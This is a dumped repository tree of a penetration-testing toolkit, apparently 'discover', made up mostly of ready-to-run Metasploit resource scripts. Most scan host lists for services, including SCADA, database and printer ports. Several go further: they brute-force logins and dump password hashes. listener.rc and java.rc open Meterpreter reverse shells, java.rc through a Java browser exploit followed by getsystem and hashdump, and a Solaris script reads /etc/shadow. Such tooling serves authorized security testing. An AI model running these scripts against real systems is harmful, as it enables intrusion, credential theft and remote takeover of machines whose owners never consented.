├── report ├── data │ ├── doc.htm │ ├── pdf.htm │ ├── ppt.htm │ ├── txt.htm │ ├── waf.htm │ ├── xls.htm │ ├── emails.htm │ ├── hosts.htm │ ├── names.htm │ ├── records.htm │ ├── whatweb.htm │ ├── whois-ip.htm │ ├── active-recon.htm │ ├── loadbalancing.htm │ ├── passive-recon.htm │ ├── squatting.htm │ ├── subdomains.htm │ ├── traceroute.htm │ ├── whois-domain.htm │ └── zonetransfer.htm ├── images │ ├── logo.png │ └── icons │ │ ├── blue.png │ │ ├── red.png │ │ ├── green.png │ │ └── yellow.png ├── css │ ├── ie.css │ └── style.css ├── pages │ ├── pdf.htm │ ├── doc.htm │ ├── txt.htm │ ├── xls.htm │ ├── hosts.htm │ ├── ppt.htm │ ├── records.htm │ ├── waf.htm │ ├── whatweb.htm │ ├── emails.htm │ ├── names.htm │ ├── squatting.htm │ ├── subdomains.htm │ ├── whois-ip.htm │ ├── black-listed.htm │ ├── traceroute.htm │ ├── active-recon.htm │ ├── config.htm │ ├── whois-domain.htm │ ├── zonetransfer.htm │ ├── loadbalancing.htm │ ├── passive-recon.htm │ └── netcraft.htm └── index.htm ├── resource ├── misc │ ├── post.rc │ ├── listener.rc │ └── java.rc ├── db2.rc ├── ssh.rc ├── afp.rc ├── finger.rc ├── h323.rc ├── imap.rc ├── misc.rc ├── pop3.rc ├── rdp.rc ├── redis.rc ├── rmi.rc ├── scada4.rc ├── upnp.rc ├── adobe.rc ├── chargen.rc ├── couchdb.rc ├── emc.rc ├── motorola.rc ├── rservices3.rc ├── vmware2.rc ├── dcerpc.rc ├── emc2.rc ├── nessus.rc ├── rservices.rc ├── rservices2.rc ├── winrm.rc ├── backdoor.rc ├── pcanywhere.rc ├── pcanywhere2.rc ├── scada6.rc ├── telnet3.rc ├── dcerpc2.rc ├── scada3.rc ├── telnet2.rc ├── sip.rc ├── db2-2.rc ├── ntp.rc ├── vnc.rc ├── nfs.rc ├── oracle.rc ├── sip2.rc ├── citrix.rc ├── netbios.rc ├── oracle4.rc ├── tomcat.rc ├── mysql.rc ├── oracle2.rc ├── scada.rc ├── vxworks.rc ├── lotus.rc ├── scada2.rc ├── smtp.rc ├── smtp2.rc ├── ftp.rc ├── ipmi.rc ├── scada5.rc ├── tftp.rc ├── telnet.rc ├── mssql.rc ├── oracle3.rc ├── http.rc ├── recon-ng │ ├── active.rc │ ├── export.rc │ └── passive.rc ├── postgres.rc ├── printers.rc ├── x11.rc ├── vmware.rc ├── smb.rc └── snmp.rc ├── notes ├── MSSQL Injection Cheat Sheet.pdf ├── metasploit │ └── Analysis of MSF Relative to PTES.pdf ├── databases.txt ├── hack3rcon │ ├── open-list.sh │ ├── main.sh │ ├── recon-domain.sh │ ├── robots.sh │ ├── recon-people.sh │ └── nmap.sh ├── unix.txt ├── ssl.txt ├── exploits.txt ├── snmp.txt ├── insecure-protocols.txt ├── dns.txt ├── passwords.txt ├── maltego.txt ├── oracle.txt ├── smtp.txt ├── git.txt ├── sqli.txt ├── nexpose.txt ├── misc.txt ├── web-apps.txt ├── windows.txt └── burp.txt ├── misc ├── enum-solaris.sh ├── netblocks.sh ├── python │ ├── ex1.py │ ├── test.py │ ├── ex2.py │ ├── multitabs.py │ └── notes.txt ├── dns-transfer.sh ├── ping-sweep.sh ├── dns-reverse.sh ├── dns-forward.sh ├── crawl.sh ├── compare-sites.sh └── netblocks.txt ├── utfdictcsv.py ├── alias ├── mods └── goog-mail.py ├── parse-burp.rb ├── update.sh ├── setup.sh ├── README.md ├── parse-nessus-feed.py └── parse-nessus.py /report/data/doc.htm: -------------------------------------------------------------------------------- 1 |
2 | -------------------------------------------------------------------------------- /report/data/pdf.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/ppt.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/txt.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/waf.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/xls.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/emails.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/hosts.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/names.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/records.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/whatweb.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/whois-ip.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/active-recon.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/loadbalancing.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/passive-recon.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/squatting.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/subdomains.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/traceroute.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/whois-domain.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /report/data/zonetransfer.htm: -------------------------------------------------------------------------------- 1 |2 | -------------------------------------------------------------------------------- /resource/misc/post.rc: -------------------------------------------------------------------------------- 1 | getsystem 2 | sysinfo 3 | hasdump 4 | 5 | -------------------------------------------------------------------------------- /report/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/report/images/logo.png -------------------------------------------------------------------------------- /report/images/icons/blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/report/images/icons/blue.png -------------------------------------------------------------------------------- /report/images/icons/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/report/images/icons/red.png -------------------------------------------------------------------------------- /report/images/icons/green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/report/images/icons/green.png -------------------------------------------------------------------------------- /report/images/icons/yellow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/report/images/icons/yellow.png -------------------------------------------------------------------------------- /resource/db2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 523 4 | 5 | use auxiliary/scanner/db2/discovery 6 | run 7 | -------------------------------------------------------------------------------- /resource/ssh.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 22 4 | 5 | use auxiliary/scanner/ssh/ssh_version 6 | run 7 | -------------------------------------------------------------------------------- /notes/MSSQL Injection Cheat Sheet.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/notes/MSSQL Injection Cheat Sheet.pdf -------------------------------------------------------------------------------- /resource/afp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 548 4 | 5 | use auxiliary/scanner/afp/afp_server_info 6 | run 7 | -------------------------------------------------------------------------------- /resource/finger.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 79 4 | 5 | use auxiliary/scanner/finger/finger_users 6 | run 7 | -------------------------------------------------------------------------------- /resource/h323.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1720 4 | 5 | use auxiliary/scanner/h323/h323_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/imap.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 143 4 | 5 | use auxiliary/scanner/imap/imap_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/misc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5920 4 | 5 | use auxiliary/scanner/misc/cctv_dvr_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/pop3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 110 4 | 5 | use auxiliary/scanner/pop3/pop3_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/rdp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3389 4 | 5 | use auxiliary/scanner/rdp/ms12_020_check 6 | run 7 | -------------------------------------------------------------------------------- /resource/redis.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 6379 4 | 5 | use auxiliary/scanner/misc/redis_server 6 | run 7 | -------------------------------------------------------------------------------- /resource/rmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1099 4 | 5 | use auxiliary/scanner/misc/java_rmi_server 6 | run 7 | -------------------------------------------------------------------------------- /resource/scada4.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 28784 4 | 5 | use auxiliary/scanner/scada/koyo_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/upnp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1900 4 | 5 | use auxiliary/scanner/upnp/ssdp_msearch 6 | run 7 | -------------------------------------------------------------------------------- /resource/adobe.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8400 4 | 5 | use auxiliary/scanner/http/adobe_xml_inject 6 | run 7 | -------------------------------------------------------------------------------- /resource/chargen.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 19 4 | 5 | use auxiliary/scanner/chargen/chargen_probe 6 | run 7 | -------------------------------------------------------------------------------- /resource/couchdb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5984 4 | 5 | use auxiliary/scanner/couchdb/couchdb_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/emc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3000 4 | 5 | use auxiliary/admin/emc/alphastor_devicemanager 6 | run 7 | -------------------------------------------------------------------------------- /resource/motorola.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 407 4 | 5 | use auxiliary/scanner/motorola/timbuktu_udp 6 | run 7 | -------------------------------------------------------------------------------- /resource/rservices3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 514 4 | 5 | use auxiliary/scanner/rservices/rsh_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/vmware2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 902 4 | 5 | use auxiliary/scanner/vmware/vmauthd_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/dcerpc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 135 4 | 5 | use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor 6 | run 7 | -------------------------------------------------------------------------------- /resource/emc2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3500 4 | 5 | use auxiliary/admin/emc/alphastor_librarymanager 6 | run 7 | -------------------------------------------------------------------------------- /resource/nessus.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8834 4 | 5 | use auxiliary/scanner/nessus/nessus_xmlrpc_ping 6 | run 7 | -------------------------------------------------------------------------------- /resource/rservices.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 512 4 | 5 | use auxiliary/scanner/rservices/rexec_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/rservices2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 513 4 | 5 | use auxiliary/scanner/rservices/rlogin_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/winrm.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5985 4 | 5 | use auxiliary/scanner/winrm/winrm_auth_methods 6 | run 7 | -------------------------------------------------------------------------------- /resource/backdoor.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 7777 4 | 5 | use auxiliary/scanner/backdoor/energizer_duo_detect 6 | run 7 | -------------------------------------------------------------------------------- /resource/pcanywhere.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5631 4 | 5 | use auxiliary/scanner/pcanywhere/pcanywhere_tcp 6 | run 7 | -------------------------------------------------------------------------------- /resource/pcanywhere2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5632 4 | 5 | use auxiliary/scanner/pcanywhere/pcanywhere_udp 6 | run 7 | -------------------------------------------------------------------------------- /resource/scada6.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 46824 4 | 5 | use auxiliary/scanner/scada/sielco_winlog_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /resource/telnet3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9999 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/dcerpc2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5040 4 | 5 | use auxiliary/scanner/dcerpc/windows_deployment_services 6 | run 7 | -------------------------------------------------------------------------------- /resource/scada3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 80 4 | 5 | use auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /resource/telnet2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 30718 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_password 6 | run 7 | -------------------------------------------------------------------------------- /notes/metasploit/Analysis of MSF Relative to PTES.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/discover/master/notes/metasploit/Analysis of MSF Relative to PTES.pdf -------------------------------------------------------------------------------- /misc/enum-solaris.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | uname -a 4 | ifconfig -a 5 | route 6 | mount 7 | cat /etc/passwd 8 | cat /etc/shadow 9 | /usr/bin/pkginfo -l 10 | /usr/bin/svcs -a 11 | -------------------------------------------------------------------------------- /resource/sip.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator 6 | run 7 | 8 | use auxiliary/scanner/sip/options 9 | run 10 | -------------------------------------------------------------------------------- /resource/db2-2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 50000 4 | 5 | use auxiliary/scanner/db2/db2_version 6 | run 7 | 8 | use auxiliary/scanner/db2/db2_auth 9 | run 10 | -------------------------------------------------------------------------------- /resource/ntp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 123 4 | 5 | use auxiliary/scanner/ntp/ntp_monlist 6 | run 7 | 8 | use auxiliary/scanner/ntp/ntp_readvar 9 | run 10 | -------------------------------------------------------------------------------- /resource/vnc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5900 4 | 5 | use auxiliary/scanner/vnc/vnc_login 6 | run 7 | 8 | use auxiliary/scanner/vnc/vnc_none_auth 9 | run 10 | -------------------------------------------------------------------------------- /resource/nfs.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 111 4 | 5 | use auxiliary/scanner/misc/sunrpc_portmapper 6 | run 7 | 8 | use auxiliary/scanner/nfs/nfsmount 9 | run 10 | -------------------------------------------------------------------------------- /resource/oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1158 4 | 5 | use auxiliary/scanner/oracle/emc_sid 6 | run 7 | 8 | use auxiliary/scanner/oracle/spy_sid 9 | run 10 | -------------------------------------------------------------------------------- /resource/sip2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator_tcp 6 | run 7 | 8 | use auxiliary/scanner/sip/options_tcp 9 | run 10 | -------------------------------------------------------------------------------- /resource/citrix.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1604 4 | 5 | use gather/citrix_published_applications 6 | run 7 | 8 | use gather/citrix_published_bruteforce 9 | run 10 | -------------------------------------------------------------------------------- /resource/netbios.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 137 4 | 5 | use auxiliary/scanner/netbios/nbname 6 | run 7 | 8 | use auxiliary/scanner/netbios/nbname_probe 9 | run 10 | -------------------------------------------------------------------------------- /resource/oracle4.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/oracle/xdb_sid_brute 6 | run 7 | 8 | use auxiliary/scanner/oracle/xdb_sid 9 | run 10 | -------------------------------------------------------------------------------- /resource/tomcat.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/http/tomcat_enum 6 | run 7 | 8 | use auxiliary/scanner/http/tomcat_mgr_login 9 | run 10 | -------------------------------------------------------------------------------- /resource/mysql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3306 4 | 5 | use auxiliary/scanner/mysql/mysql_version 6 | run 7 | 8 | use scanner/mysql/mysql_authbypass_hashdump 9 | run 10 | -------------------------------------------------------------------------------- /resource/oracle2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5560 4 | 5 | use auxiliary/scanner/oracle/isqlplus_login 6 | run 7 | 8 | use auxiliary/scanner/oracle/isqlplus_sidbrute 9 | run 10 | -------------------------------------------------------------------------------- /resource/scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 2362 4 | 5 | use auxiliary/scanner/scada/digi_addp_reboot 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_addp_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/vxworks.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 17185 4 | 5 | use auxiliary/scanner/vxworks/wdbrpc_bootline 6 | run 7 | 8 | use auxiliary/scanner/vxworks/wdbrpc_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/lotus.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 80 4 | 5 | use auxiliary/scanner/lotus/lotus_domino_hashes 6 | run 7 | 8 | use auxiliary/scanner/lotus/lotus_domino_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/scada2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 771 4 | 5 | use auxiliary/scanner/scada/digi_realport_serialport_scan 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_realport_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/smtp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 25 4 | 5 | use auxiliary/scanner/smtp/smtp_enum 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_relay 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_version 12 | run 13 | -------------------------------------------------------------------------------- /resource/smtp2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 465 4 | 5 | use auxiliary/scanner/smtp/smtp_enum 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_relay 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_version 12 | run 13 | -------------------------------------------------------------------------------- /resource/ftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 21 4 | 5 | use auxiliary/scanner/ftp/ftp_version 6 | run 7 | 8 | use auxiliary/scanner/ftp/anonymous 9 | run 10 | 11 | use auxiliary/scanner/ftp/titanftp_xcrc_traversal 12 | run 13 | -------------------------------------------------------------------------------- /resource/ipmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 623 4 | 5 | use auxiliary/scanner/ipmi/ipmi_cipher_zero 6 | run 7 | 8 | use auxiliary/scanner/ipmi/ipmi_version 9 | run 10 | 11 | use auxiliary/scanner/ipmi/ipmi_dumphashes 12 | run 13 | -------------------------------------------------------------------------------- /resource/scada5.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 502 4 | 5 | use auxiliary/scanner/scada/modbusclient 6 | run 7 | 8 | use auxiliary/scanner/scada/modbusdetect 9 | run 10 | 11 | use auxiliary/scanner/scada/modbus_findunitid 12 | run 13 | -------------------------------------------------------------------------------- /resource/tftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 69 4 | 5 | use auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp 6 | run 7 | 8 | use auxiliary/scanner/tftp/netdecision_tftp 9 | run 10 | 11 | use auxiliary/scanner/tftp/tftpbrute 12 | run 13 | -------------------------------------------------------------------------------- /resource/misc/listener.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set PAYLOAD windows/meterpreter/reverse_tcp 3 | set LHOST # 4 | set LPORT 443 5 | set ExitOnSession false 6 | set InitialAutoRunScript migrate -f 7 | 8 | 9 | sleep(3) 10 | 11 | 12 | exploit -j 13 | -------------------------------------------------------------------------------- /resource/telnet.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 23 4 | 5 | use auxiliary/scanner/telnet/telnet_encrypt_overflow 6 | run 7 | 8 | use auxiliary/scanner/telnet/telnet_ruggedcom 9 | run 10 | 11 | use auxiliary/scanner/telnet/telnet_version 12 | run 13 | -------------------------------------------------------------------------------- /resource/mssql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1433 4 | 5 | use scanner/mssql/mssql_ping 6 | run 7 | 8 | use scanner/mssql/mssql_login 9 | run 10 | 11 | use scanner/mssql/mssql_hashdump 12 | run 13 | 14 | use scanner/mssql/mssql_schemadump 15 | run 16 | -------------------------------------------------------------------------------- /resource/misc/java.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/browser/java_jre17_jmxbean 2 | set SRVPORT 443 3 | set URIPATH / 4 | set PAYLOAD java/meterpreter/reverse_tcp 5 | set LHOST 6 | set LPORT 443 7 | set InitialAutoRunScript migrate -f 8 | exploit 9 | set AutoRunScript /opt/scripts/resource/post.rc 10 | -------------------------------------------------------------------------------- /resource/oracle3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1521 4 | 5 | use auxiliary/scanner/oracle/oracle_hashdump 6 | run 7 | 8 | use auxiliary/scanner/oracle/oracle_login 9 | run 10 | 11 | use auxiliary/scanner/oracle/sid_brute 12 | run 13 | 14 | use auxiliary/scanner/oracle/sid_enum 15 | run 16 | 17 | use auxiliary/scanner/oracle/tnslsnr_version 18 | run 19 | -------------------------------------------------------------------------------- /resource/http.rc: -------------------------------------------------------------------------------- 1 | setg DOMAIN 2 | setg HTTPBL_APIKEY 3 | setg PATH_SAVE /root 4 | setg RANGE 5 | setg RHOST 6 | setg RHOSTS 7 | setg SQLMAP_PATH /pentest/database/sqlmap 8 | setg THREADS 255 9 | setg VULNCSV 10 | 11 | ipidseq # from ip 12 | 13 | lotus_domino_hashes # from lotus 14 | lotus_domino_login # from lotus 15 | lotus_domino_version # from lotus 16 | -------------------------------------------------------------------------------- /resource/recon-ng/active.rc: -------------------------------------------------------------------------------- 1 | workspaces add yyy 2 | add companies 3 | xxx 4 | none 5 | add domains 6 | yyy 7 | 8 | use recon/domains-hosts/brute_hosts 9 | run 10 | 11 | use recon/domains-hosts/ssl_san 12 | run 13 | 14 | use recon/domains-hosts/vpnhunter 15 | run 16 | 17 | use discovery/info_disclosure/cache_snoop 18 | run 19 | 20 | use discovery/info_disclosure/interesting_files 21 | run 22 | -------------------------------------------------------------------------------- /report/css/ie.css: -------------------------------------------------------------------------------- 1 | #wrapper, #wrap-header, #main, #main-fullwidth, #wrap-footer, .clearfix { 2 | display:inline-block; 3 | } 4 | 5 | * html #wrapper, * html #wrap-header, * html #main, * html #main-fullwidth, * html #wrap-footer, * html .clearfix{ height:1%; } 6 | 7 | hr { margin:-8px auto 11px; } 8 | 9 | html>body p code { *white-space: normal; } 10 | 11 | img { -ms-interpolation-mode:bicubic; } -------------------------------------------------------------------------------- /resource/postgres.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5432 4 | 5 | use auxiliary/scanner/postgres/postgres_dbname_flag_injection 6 | run 7 | 8 | use auxiliary/scanner/postgres/postgres_hashdump 9 | run 10 | 11 | use auxiliary/scanner/postgres/postgres_login 12 | run 13 | 14 | use auxiliary/scanner/postgres/postgres_schemadump 15 | run 16 | 17 | use auxiliary/scanner/postgres/postgres_version 18 | run 19 | -------------------------------------------------------------------------------- /resource/recon-ng/export.rc: -------------------------------------------------------------------------------- 1 | spool start /opt/discover/tmp 2 | show contacts 3 | spool stop 4 | spool start /opt/discover/tmp2 5 | show creds 6 | spool stop 7 | spool start /opt/discover/tmp3 8 | show hosts 9 | spool stop 10 | spool start /opt/discover/tmp4 11 | show leaks 12 | spool stop 13 | spool start /opt/discover/tmp5 14 | show ports 15 | spool stop 16 | spool start /opt/discover/tmp6 17 | show vulnerabilities 18 | spool stop 19 | back 20 | -------------------------------------------------------------------------------- /misc/netblocks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo "Netblocks" 6 | echo 7 | echo 8 | echo "By Lee Baird" 9 | echo 10 | echo "This returns a list of Class A owners and takes about 100 sec." 11 | echo 12 | 13 | for x in `seq 1 255`; do 14 | whois $x.0.0.0 | egrep '(CIDR|OrgName)' >> tmp 15 | echo >> tmp 16 | done 17 | 18 | egrep -v '(%|No address)' tmp > tmp2 19 | cat -s tmp2 > netblocks.txt 20 | 21 | rm tmp* 22 | 23 | echo 24 | echo 25 | 26 | -------------------------------------------------------------------------------- /resource/printers.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9100 4 | 5 | use auxiliary/scanner/printer/printer_download_file 6 | run 7 | 8 | use auxiliary/scanner/printer/printer_env_vars 9 | run 10 | 11 | use auxiliary/scanner/printer/printer_list_dir 12 | run 13 | 14 | use auxiliary/scanner/printer/printer_list_volumes 15 | run 16 | 17 | use auxiliary/scanner/printer/printer_ready_message 18 | run 19 | 20 | use auxiliary/scanner/printer/printer_version_info 21 | run 22 | -------------------------------------------------------------------------------- /resource/x11.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | 4 | use auxiliary/scanner/x11/open_x11 5 | set RPORT 6000 6 | run 7 | 8 | use auxiliary/scanner/x11/open_x11 9 | set RPORT 6001 10 | run 11 | 12 | use auxiliary/scanner/x11/open_x11 13 | set RPORT 6002 14 | run 15 | 16 | use auxiliary/scanner/x11/open_x11 17 | set RPORT 6003 18 | run 19 | 20 | use auxiliary/scanner/x11/open_x11 21 | set RPORT 6004 22 | run 23 | 24 | use auxiliary/scanner/x11/open_x11 25 | set RPORT 6005 26 | run 27 | -------------------------------------------------------------------------------- /misc/python/ex1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | import sys 5 | 6 | os.system('clear') 7 | port = raw_input('\nEnter a valid port: ') 8 | 9 | if port == '': 10 | print '\nYou did not enter anything.\n\n' 11 | sys.exit(1) 12 | 13 | try: 14 | val = int(port) 15 | except ValueError: 16 | print('\nThat is not an number.\n\n') 17 | sys.exit(1) 18 | 19 | if int(port) not in range(1,65535): 20 | print '\nThat is an invalid port.\n\n' 21 | else: 22 | print '\nThat is a valid port.\n\n' 23 | 24 | -------------------------------------------------------------------------------- /resource/vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 443 4 | 5 | use 